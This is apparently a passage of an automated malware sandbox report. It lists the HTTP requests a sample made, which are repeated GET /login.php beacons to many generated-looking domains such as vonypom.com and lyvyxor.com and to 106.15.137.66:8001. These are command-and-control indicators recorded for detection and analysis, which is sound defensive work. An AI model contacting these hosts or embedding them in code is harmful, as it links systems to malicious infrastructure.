Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyfyj.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww1.lysyfyj.comConnection: Keep-AliveCookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /dh/147287063_637385.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.137.66:8001Connection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /dh/147287063_637385.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.137.66:8001Connection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galynuh.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyciz.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyxynyx.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vofycot.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww25.lyxynyx.comConnection: Keep-AliveCookie: __tad=1724431387.5010053Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php?sub1=20240824-0243-077d-8f61-d4c58a818681 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww16.vofycot.comConnection: Keep-AliveCookie: __tad=1724431387.3029143Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyhyg.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygyvuj.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyhiz.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comContent-Length: 6Cookie: btst=ba785a403bc90255316f056071bf01aa|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comContent-Length: 6Cookie: btst=aa184787ed2d77e1f6f59c2dc950863e|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comContent-Length: 6Cookie: vsid=918vr471976932991951418Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comContent-Length: 6Cookie: btst=a03933307436d0e87a275c8dab3cea9f|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comContent-Length: 6Cookie: btst=3bd5de231d5c30f08e390492f5c039b1|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyfyj.comContent-Length: 6Cookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww6.galyqaz.comConnection: Keep-AliveCookie: vsid=918vr471976932991951418Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.comContent-Length: 6Cookie: btst=2defa10e06435b44928a9b853377cfec|8.46.123.33|1724431347|1724431347|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /dh/147287063_637385.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.137.66:8001Connection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /dh/147287063_637385.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.137.66:8001Connection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galynuh.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
